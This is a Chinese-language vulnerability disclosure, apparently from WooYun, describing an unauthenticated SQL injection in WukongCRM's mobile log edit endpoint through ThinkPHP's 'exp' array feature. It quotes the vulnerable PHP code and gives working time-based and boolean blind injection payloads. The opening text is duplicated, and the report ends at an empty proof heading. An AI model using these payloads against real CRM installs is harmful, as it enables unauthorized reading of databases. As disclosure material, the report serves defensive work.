### 简要描述: 一个没有权限控制的类,正好又有注入~ (给L.N.添堵系列之三) 另外厂商分给高点呗,别这么小气~本来不想挖了的。 ### 详细说明: /App/Lib/Mobile/LogMobile.class.php 这个类没有权限验证(_initialize方法)哦~ 看到edit函数: ``` //修改沟通日志 public function edit(){ if($this->isPost()){ $id = isset($_POST['id']) ? intval($_POST['id']) : 0; $params = json_decode($_POST['params'],true); if(!is_array($params)){ $this->ajaxReturn('非法的数据格式!','非法的数据格式!',2); } if(!$id){ $this->ajaxReturn('参数错误','参数错误',2); } $log = M('Log'); $log -> create($params); $log -> update_date = time(); $result = $log->save(); if($result){ $this->ajaxReturn('修改成功','修改成功',1); }else{ $this->ajaxReturn('修改失败,请重试','修改失败,请重试',2); } } } ``` 乍一看没啥问题,实际上暗含一个ThinkPHP特性的漏洞,详见我发的 http://**.**.**.**/bugs/wooyun-2010-086737 这里create方法先获取所有$params,并根据POST中传入的主键(log_id)来update数据库。而update的where实际上就是 array('log_id', $params['log_id']); 只要我传入的$params['role_id']的值是数组,并且数组的第一个参数是exp,那么第二个参数就可以直接填SQL注入语句。 直接演示。 **.**.**.**/wukongcrm/mobile.php?m=log&a=edit...
### 简要描述: 一个没有权限控制的类,正好又有注入~ (给L.N.添堵系列之三) 另外厂商分给高点呗,别这么小气~本来不想挖了的。 ### 详细说明: /App/Lib/Mobile/LogMobile.class.php 这个类没有权限验证(_initialize方法)哦~ 看到edit函数: ``` //修改沟通日志 public function edit(){ if($this->isPost()){ $id = isset($_POST['id']) ? intval($_POST['id']) : 0; $params = json_decode($_POST['params'],true); if(!is_array($params)){ $this->ajaxReturn('非法的数据格式!','非法的数据格式!',2); } if(!$id){ $this->ajaxReturn('参数错误','参数错误',2); } $log = M('Log'); $log -> create($params); $log -> update_date = time(); $result = $log->save(); if($result){ $this->ajaxReturn('修改成功','修改成功',1); }else{ $this->ajaxReturn('修改失败,请重试','修改失败,请重试',2); } } } ``` 乍一看没啥问题,实际上暗含一个ThinkPHP特性的漏洞,详见我发的 http://**.**.**.**/bugs/wooyun-2010-086737 这里create方法先获取所有$params,并根据POST中传入的主键(log_id)来update数据库。而update的where实际上就是 array('log_id', $params['log_id']); 只要我传入的$params['role_id']的值是数组,并且数组的第一个参数是exp,那么第二个参数就可以直接填SQL注入语句。 直接演示。 **.**.**.**/wukongcrm/mobile.php?m=log&a=edit POST数据包:id=1¶ms={"log_id":["exp","=sleep(2)"],"content":"phithon"} 可以sleep两秒: [<img src="https://images.seebug.org/upload/201604/0819541149c5b4f2b0cd723956b9eedd8238bc81.png" alt="QQ20160408-0@2x.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201604/0819541149c5b4f2b0cd723956b9eedd8238bc81.png) 注入log表中有数据的话,可以使用bool盲注。user()的第一个字符大于0,正确,返回真: [<img src="https://images.seebug.org/upload/201604/0820043178de8765c1447d4cd77e8a957f697b88.png" alt="QQ20160408-1@2x.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201604/0820043178de8765c1447d4cd77e8a957f697b88.png) user()的第一个字符大于200,不正确,返回假: [<img src="https://images.seebug.org/upload/201604/0820051345abef83d31ab245c84e3235ea479ada.png" alt="QQ20160408-2@2x.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201604/0820051345abef83d31ab245c84e3235ea479ada.png) ``` **.**.**.**/wukongcrm/mobile.php?m=log&a=edit id=1¶ms={"log_id":["exp","=-1 or ord(substr(user(),1,1))>200"],"content":"phithon"} ``` ### 漏洞证明: